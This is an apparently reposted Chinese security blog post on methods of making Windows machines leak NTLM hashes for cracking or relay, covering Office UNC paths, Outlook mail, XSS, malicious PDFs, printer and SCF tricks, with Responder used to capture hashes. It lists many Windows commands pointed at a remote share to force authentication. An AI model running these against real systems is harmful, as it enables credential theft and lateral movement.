前言
NTLM是一种windows的验证用户身份的一种机制,多存在于工作组环境下。可以与smb、http、ldap等协议嵌套使用,攻击者有可能利用这几种协议来进行NTLM-relay攻击。
正文
NTLM是一种挑战/响应(Challenge/Response)形式的消息,主要包括三类消息类型:
第一步message(negotiation):客户端向服务器发送一个包含明文登录用户名的请求。
第二步message (challenge) :服务端生成一个16位的随机数(即Challenge),明文发送回客户端。使用登录用户密码hash加密Challenge,获得Challenge1
第三步 message (authentication):客户端接收到Challenge后,使用登录用户的密码hash对Challenge加密,生成response,将response发送给服务器
服务器比较Challenge1和response,如果相同,验证成功。
从这三步骤中,我们可以看到,我们知道用户的密码或者密码hash其中一个就行。
那么为啥我们要获得NTLM呢。通过获得NTLM,我们可以进行hash破解,或者重放攻击。
那么有几种获取NTLM的方式呢,今天我们从漏洞和社工的角度来看一下。
第一种利用OFFICE的UNC路径
插入图片
打开word_rels
修改路径
打开responder监听
第二种方法,发送outlook邮件
outlook支持html发送
设置宏
导入恶意html
第三种方法
这里除了XSS。XXE和SSRF都可以实现。
利用XSS脚本
不过会弹出认证
需要进行修改配置才可以完成
第四种,利用MYSQL
第五种利用恶意PDF
第六种,直接的系统命令
更多的执行方式:
net.exe use hostshare
attrib.exe hostshare
bcdboot.exe hostshare
bdeunlock.exe hostshare
cacls.exe hostshare
#(noisy, pops an error dialog) certreq.exe hostshare
certutil.exe hostshare
cipher.exe hostshare
ClipUp.exe -l hostshare
cmdl32.exe hostshare
cmstp.exe /s hostshare
#(noisy, pops an error dialog) colorcpl.exe hostshare
comp.exe /N=0 hostshare hostshare
compact.exe hostshare
control.exe hostshare
source hostshare -destination hostshare convertvhd.exe -
Defrag.exe hostshare
diskperf.exe hostshare
dispdiag.exe -out hostshare
doskey.exe /MACROFILE=hostshare
esentutl.exe /k hostshare
expand.exe hostshare
extrac32.exe hostshare
#(noisy, pops a gui) FileHistory.exe hostshare
findstr.exe * hostshare
#(noisy, pops an error dialog) fontview.exe hostshare
#(noisy, pops an access denied error) fvenotify.exe hostshare
#(noisy, pops GUI) FXSCOVER.exe hostshare
hwrcomp.exe -check hostshare
hwrreg.exe hostshare
icacls.exe hostshare
licensingdiag.exe -cab hostshare
lodctr.exe hostshare
lpksetup.exe /p hostshare /s
makecab.exe hostshare
msiexec.exe /update hostshare /quiet
#(noisy, pops a "cannot open" dialog) msinfo32.exe hostshare
#(noisy, invalid path to png error) mspaint.exe hostshare
#(noisy, error) msra.exe /openfile hostshare
#(noisy, error) mstsc.exe hostshare
netcfg.exe -l hostshare -c p -i foo
第七种利用LLMNR和NBNS
第八种利用方式,打印机漏洞
这里显示是不成功,但是其实已经成功了,我们可以去Responder看一下,已经获取hash
第九种利用方式,修改图标
修改此处的IconResource
第10利用方式,SCF文件
第11种利用方式,修改系统头像
参考:发起NTLM 请求 - windows protocol (gitbook.io)
原文始发于微信公众号(Th0r安全):NTLM的多种获取方式
- 我的微信
- 微信扫一扫
-
- 我的微信公众号
- 微信扫一扫
-
评论